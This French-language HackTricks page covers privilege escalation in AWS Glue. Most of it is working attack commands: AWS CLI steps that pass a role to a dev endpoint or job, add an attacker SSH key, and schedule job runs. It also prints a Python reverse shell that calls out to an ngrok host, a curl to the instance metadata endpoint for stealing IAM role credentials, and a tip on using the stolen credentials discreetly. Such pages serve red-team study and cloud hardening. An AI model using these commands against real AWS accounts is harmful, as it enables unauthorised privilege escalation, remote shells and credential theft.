AWS - Glue Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs avec ces autorisations peuvent configurer un nouveau point de terminaison de développement AWS Glue, en attribuant un rôle de service existant pouvant être assumé par Glue avec des autorisations spécifiques à ce point de terminaison.

Après la configuration, l'attaquant peut se connecter en SSH à l'instance du point de terminaison, et voler les informations d'identification IAM du rôle attribué :

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Dans un souci de discrétion, il est recommandé d'utiliser les informations d'identification IAM depuis l'intérieur de la machine virtuelle Glue.

Impact potentiel : Élévation des privilèges vers le rôle de service Glue spécifié.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs avec cette autorisation peuvent modifier un point de terminaison de développement Glue existant pour y ajouter une clé SSH, permettant l'accès SSH. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impact potentiel : Élévation de privilèges vers le rôle de service Glue utilisé.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Les utilisateurs avec iam:PassRole combiné avec soit glue:CreateJob ou glue:UpdateJob, et soit glue:StartJobRun ou glue:CreateTrigger peuvent créer ou mettre à jour un travail AWS Glue, en attachant n'importe quel compte de service Glue, et lancer l'exécution du travail. Les capacités du travail incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un shell inversé. Ce shell inversé peut ensuite être utilisé pour exfiltrer les informations d'identification IAM du rôle attaché au travail Glue, entraînant un accès ou des actions non autorisés potentiels en fonction des autorisations de ce rôle :

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impact potentiel : Élévation des privilèges vers le rôle de service Glue spécifié.

glue:UpdateJob

Rien qu'avec l'autorisation de mise à jour, un attaquant pourrait voler les informations d'identification IAM du rôle déjà attaché.

Impact potentiel : Élévation des privilèges vers le rôle de service Glue attaché.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour